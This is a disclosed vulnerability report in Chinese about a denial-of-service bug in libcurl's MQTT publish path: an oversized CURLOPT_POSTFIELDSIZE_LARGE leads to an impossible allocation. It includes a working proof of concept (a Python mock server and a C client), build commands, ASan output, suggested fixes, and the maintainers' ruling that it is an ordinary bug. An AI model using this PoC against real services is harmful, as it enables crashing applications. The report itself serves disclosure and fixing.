libcurl MQTT CURLOPT_POSTFIELDSIZE_LARGE 溢出导致即时DoS
摘要
攻击者可以通过为CURLOPT_POSTFIELDSIZE_LARGE设置过大的值,使任何使用libcurl MQTT支持的应用程序崩溃或强制中止。MQTT发布逻辑(lib/mqtt.c::mqtt_publish)信任此值而不验证其是否符合协议的最大剩余长度(268,435,455),也不检查算术溢出。因此,它尝试分配一个不可能的大缓冲区(数EB)并立即失败,导致进程终止并造成拒绝服务。
影响
可用性:任何允许不受信任的输入影响CURLOPT_POSTFIELDSIZE(_LARGE)的服务(例如,用户控制的消息长度或代理的MQTT请求)都可以立即被瘫痪。单个恶意请求就足以触发崩溃。
稳定性:即使在非ASan构建中,调用始终返回CURLE_OUT_OF_MEMORY;将此视为致命的应用程序(MQTT生产者常见)将关闭。使用消毒剂编译时,进程会因"分配大小过大"断言而立即中止。
范围:不需要身份验证或中间人能力。只需让客户端构造具有巨大长度的发布请求即可触发错误。
攻击场景
- 攻击者说服基于libcurl的MQTT客户端或网关发布一个消息,其大小字段设置为约4EB(或任何超过0x0FFFFFFF的值)。
- 客户端调用
curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE_LARGE, huge_value)并最终调用curl_easy_perform()。
- 在
mqtt_publish内部,libcurl将MQTT剩余长度计算为payloadlen + topiclen + 2,这绕过了或超过了MQTT规范限制。然后调用malloc(remaininglength + 1 + encodelen)。
malloc()无法满足请求并中止(ASan)或返回NULL(如果allocator_may_return_null=1)。无论哪种情况,应用程序都会死亡或进入失败状态,导致拒绝服务,而无需将有效负载发送到代理。
概念验证
需要两个文件:一个最小的MQTT模拟服务器和一个设置超大负载长度的客户端PoC。
mqtt_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
import socket
HOST, PORT = "127.0.0.1", 1883
CONNACK = b"\x20\x02\x00\x00"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f"[server] listening on {HOST}:{PORT}")
conn, addr = s.accept()
with conn:
print(f"[server] accepted connection from {addr}")
data = conn.recv(1024)
print(f"[server] received {len(data)} bytes")
conn.sendall(CONNACK)
print("[server] sent CONNACK")
conn.recv(1024)
print("[server] received publish (possibly truncated)")
|
mqtt_overflow.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(!curl) {
fprintf(stderr, "curl_easy_init failed\n");
return 1;
}
const char payload[] = "X"; /* 实际数据:1字节 */
const curl_off_t fake_size = ((curl_off_t)1 << 62); /* 广告约4EB */
curl_easy_setopt(curl, CURLOPT_URL, "mqtt://127.0.0.1:1883/topic");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, fake_size);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT_MS, 2000L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 3000L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
fprintf(stderr, "[*] requesting payload size: %lld\n", (long long)fake_size);
CURLcode res = curl_easy_perform(curl);
fprintf(stderr, "curl_easy_perform: %d\n", res);
curl_easy_cleanup(curl);
return (int)res;
}
|
构建和运行
1
2
3
4
5
6
7
8
9
10
11
12
|
# 使用MQTT启用配置和构建libcurl(使用CMake示例)
cmake -S . -B build-mqtt -DCMAKE_BUILD_TYPE=Debug -DCURL_USE_LIBPSL=OFF
cmake --build build-mqtt --target libcurl_shared -- -j8
# 使用AddressSanitizer编译PoC
clang -fsanitize=address -Iinclude -Ibuild-mqtt/lib \
-Lbuild-mqtt/lib -Wl,-rpath,build-mqtt/lib \
build-mqtt/poc/mqtt_overflow.c -lcurl-d -o build-mqtt/poc/mqtt_overflow
# 启动模拟服务器并执行PoC
python3 build-mqtt/poc/mqtt_server.py &
build-mqtt/poc/mqtt_overflow
|
观察到的输出(ASan构建)
1
2
3
4
5
6
7
|
[*] requesting payload size: 4611686018427387904
* Trying 127.0.0.1:1883...
* Established connection to 127.0.0.1 (127.0.0.1 port 1883) from 127.0.0.1 port 62013
* Using client id 'curlgqXILtsX'
==12584==ERROR: AddressSanitizer: requested allocation size 0x400000000000000c ...
SUMMARY: AddressSanitizer: allocation-size-too-big mqtt.c:616 in mqtt_publish
==12584==ABORTING
|
观察到的输出(分配器可能返回NULL)
1
2
3
4
|
$ ASAN_OPTIONS=allocator_may_return_null=1 build-mqtt/poc/mqtt_overflow
[*] requesting payload size: 4611686018427387904
==13457==WARNING: AddressSanitizer failed to allocate 0x400000000000000c bytes
curl_easy_perform: 27
|
模拟服务器日志确认连接已打开,返回了CONNACK,客户端在尝试发布时立即终止。
根本原因
来自lib/mqtt.c的摘录:
1
2
3
4
5
6
7
8
9
10
|
remaininglength = payloadlen + 2 + topiclen;
encodelen = mqtt_encode_len(encodedbytes, remaininglength);
pkt = malloc(remaininglength + 1 + encodelen);
if(!pkt) {
result = CURLE_OUT_OF_MEMORY;
goto fail;
}
...
memcpy(&pkt[i], payload, payloadlen);
|
payloadlen直接来自CURLOPT_POSTFIELDSIZE_LARGE。
- 没有检查
payloadlen是否在MQTT规范内(最大剩余长度0x0FFFFFFF)或任何安全内存边界内。
remaininglength + 1 + encodelen在size_t中计算,因此它可以绕回或超过实际内存限制。
- 失败时,函数永远不会到达发布阶段,有效地在发送任何数据之前使客户端崩溃。
推荐的缓解措施
- 验证payloadlen:拒绝任何
payloadlen > 0x0FFFFFFF - (topiclen + 2)的请求,并返回CURLE_BAD_FUNCTION_ARGUMENT。
- 溢出防护:在调用
malloc之前,确保总和remaininglength + 1 + encodelen不会溢出并适合合理的边界。
- 协议合规性:考虑将
mqtt_encode_len限制为4字节,如果编码长度超过MQTT的剩余长度限制,则中止。
- 回归测试:添加一个单元或集成测试,尝试设置超大的
CURLOPT_POSTFIELDSIZE_LARGE并确保调用优雅地失败。
环境
- macOS 15.0 (24A335)
- Apple Clang 17.0.0.17000319
- curl 8.17.1-dev(启用MQTT的CMake构建)
- AddressSanitizer(默认设置)和无ASan的libc运行时
严重性
中等 - 通过整数溢出/不受控制的资源消耗导致的拒绝服务(CWE-190 / CWE-400)。
时间线
- 4天前:jiyong向curl提交报告
- 4天前:bagder(curl工作人员)回复感谢报告并开始调查
- 4天前:bagder认为这不是libcurl的安全问题,只是一个错误
- 4天前:bagder提交PR https://github.com/curl/curl/pull/19415
- 3天前:bagder关闭报告并将状态更改为"Informative"
- 3天前:bagder请求披露此报告
- 2天前:jiyong请求重新考虑问题分类,认为这是远程未经验证的DoS向量
- 2天前:bagder维持原判,认为没有可行的攻击场景
- 2天前:jiyong接受决定并感谢快速响应
- 2天前:bagder披露报告
讨论要点
curl团队认为这不是安全问题的主要理由:
- 任何允许"不受信任的输入"提供256MB数据的服务本身就有问题,这不是libcurl的问题
- 让用户提供无限制大小的数据本身就像一场噩梦
- libcurl在处理大型MQTT消息时效率低下,但即使数据过大也会正确分配内存
- 分配失败返回错误是预期行为
- 没有实际的方法来检查算术溢出,因为用户无法提供如此大的数据缓冲区来发送
报告者认为这是安全问题的理由:
- 触发模型:远程+未经验证。单个MQTT发布广告超大负载长度会导致libcurl计算非常大的"剩余长度"并尝试巨大分配
- 协议级期望:MQTT剩余长度字段有定义的最大值,当前实现接受任意payloadlen值而不验证
- 可利用性:攻击者不需要实际发送EB级数据,只需要导致客户端或中间网关广告巨大负载长度
- 实际影响:ASan构建立即中止,非ASan构建导致malloc失败,许多应用程序将其视为致命错误